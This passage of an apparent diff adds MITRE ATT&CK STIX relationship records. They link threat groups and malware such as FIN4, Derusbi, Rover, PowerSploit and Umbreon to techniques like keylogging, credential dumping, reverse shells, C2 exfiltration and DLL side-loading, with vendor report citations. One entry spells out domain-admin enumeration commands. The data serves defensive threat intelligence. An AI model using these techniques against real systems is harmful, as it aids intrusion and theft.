Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has captured credentials via fake Outlook Web App (OWA) login pages and has also used a .NET based keylogger.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T02:01:45.695Z", + "id": "relationship--8cb59548-2e8d-4635-809b-b9ba22c94c31", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "modified": "2019-04-18T20:19:49.307Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of creating a remote Bash shell and executing commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3268cdc0-7cee-4fe5-92cc-2c3cdc06712b", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2019-08-16T18:52:50.633Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "A [Helminth](https://attack.mitre.org/software/S0170) VBScript receives a batch script to execute a set of commands in a command prompt.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--cd58d271-9ee2-45d6-9ca3-22ae8da639b5", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use net group \"domain admins\" /domain to display accounts in the \"domain admins\" permissions group and net localgroup \"administrators\" to list local system administrator group membership.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2eb985a1-e73e-4554-8638-2e6f27690ec0", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "source_name": "AlienVault Sykipot 2011", + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) persists via a Launch Agent.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--934fb394-12bb-47c7-aef0-6686d05bd2b0", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of downloading remote files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--321544e0-902c-443e-adf9-d7e78f0e4d13", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) uses [netstat](https://attack.mitre.org/software/S0104) to list TCP connection status.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a5efdeb3-10db-4e40-b8cd-61dee7d72cc0", + "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", + "source_name": "Palo Alto CVE-2015-3113 July 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has gathered information about network IP configurations using [ipconfig](https://attack.mitre.org/software/S0100).exe and about routing tables using [route](https://attack.mitre.org/software/S0103).exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--de168dd4-3c59-4fa4-901a-911b1ee81a31", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.760Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[Group5](https://attack.mitre.org/groups/G0043) packed an executable by base64 encoding the PE file and breaking it up into numerous lines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.078Z", + "id": "relationship--b9083516-7dd3-4ef2-808a-1df48894122b", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "modified": "2019-07-25T17:52:06.605Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "source_name": "Citizen Lab Group5", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used stolen code signing certificates to sign malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9493cec9-dbbc-43ef-ae57-6f307f8d6001", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.397Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + }, + { + "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.", + "source_name": "FireEye APT40 March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "Droppers used by [Putter Panda](https://attack.mitre.org/groups/G0024) use RC4 or a 16-byte XOR key consisting of the bytes 0xA0 \u2013 0xAF to obfuscate payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.058Z", + "id": "relationship--c952f284-e529-481f-97fb-7a6e14c25ccf", + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "modified": "2019-03-25T16:53:38.841Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d9ae86e6-377b-45d5-b32c-89776fd7755c", + "source_ref": "course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc", + "modified": "2019-07-24T19:48:43.680Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "description": "[Rover](https://attack.mitre.org/software/S0090) automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes. [Rover](https://attack.mitre.org/software/S0090) also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--59261bc8-0220-4e37-8018-7a3618a5dd1b", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "source_name": "Palo Alto Rover", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-TokenManipulation Exfiltration module can be used to locate and impersonate user logon tokens.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--56b59fda-e96d-443d-9f45-e4cc967c911a", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.229Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to extract email from Microsoft Exchange servers using compromised credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--76333b56-47b1-40c6-9223-c4cf6673362f", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "source_name": "Symantec Seaduke 2015", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) collects endpoint information using the systeminfo command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c1544dec-4586-466a-b730-862c06e9e3c7", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used Putty Secure Copy Client (PSCP) to transfer data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f16c18f0-c5ac-4ea2-bfd0-222e63c09018", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) can obtain information about the victim computer name, physical memory, country, and date.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--02206f22-80e9-4f87-9e4b-5c1df1eb737e", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has used DLL side-loading to load malicious payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4a4664c1-47dd-4a4a-ab7b-0f64ec137a67", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "source_name": "Proofpoint TA459 April 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + }, + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.041Z", + "id": "relationship--ba64e6d1-4deb-440a-a4eb-1c3476b6fb47", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:36.187Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[pwdump](https://attack.mitre.org/software/S0006) can be used to dump credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--57a1f1a8-f1c0-4b7c-b5b4-f283a278833c", + "source_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Wikipedia. (1985, June 22). pwdump. Retrieved June 22, 2016.", + "source_name": "Wikipedia pwdump", + "url": "https://en.wikipedia.org/wiki/Pwdump" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of downloading additional files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1251d1e2-21d3-48f2-a869-44507b34943a", + "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "modified": "2019-05-14T19:15:24.370Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) is loaded and executed by a highly obfuscated launcher.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1f8be617-c842-4828-a352-9d5eafb8f477", + "source_ref": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "source_name": "FireEye Fin8 May 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) schedules tasks to invoke its components in order to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dbacc7d5-5d10-4b41-994d-51e0792cfb19", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--8b880b41-5139-4807-baa9-309690218719", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.048Z", + "id": "relationship--fca5a601-68fd-4b20-ad1e-0592cadecb73", + "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "modified": "2019-03-22T18:44:28.655Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Umbreon](https://attack.mitre.org/software/S0221) provides access using both standard facilities like SSH and additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2f4d2f2e-78a9-46e6-bb2f-5b1be932da42", + "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.", + "source_name": "Umbreon Trend Micro", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.065Z", + "id": "relationship--2092cbf8-4b5e-40e9-93dd-bfd8a71b4e8c", + "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "modified": "2019-03-22T20:14:29.775Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.056Z", + "id": "relationship--fad44d26-02a8-4cdc-b566-5e24f32a93b3", + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "modified": "2019-03-25T14:27:23.926Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + }, + { + "description": "ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.", + "source_name": "DustySky2", + "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf" + }, + { + "source_name": "FireEye Operation Molerats", + "description": "Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) attempted to get users to click on an embedded macro within a Microsoft Office Excel document to launch their malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--503c4b74-7ca5-45e3-bb11-85a99ca1810f", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "modified": "2019-04-25T12:37:45.659Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted 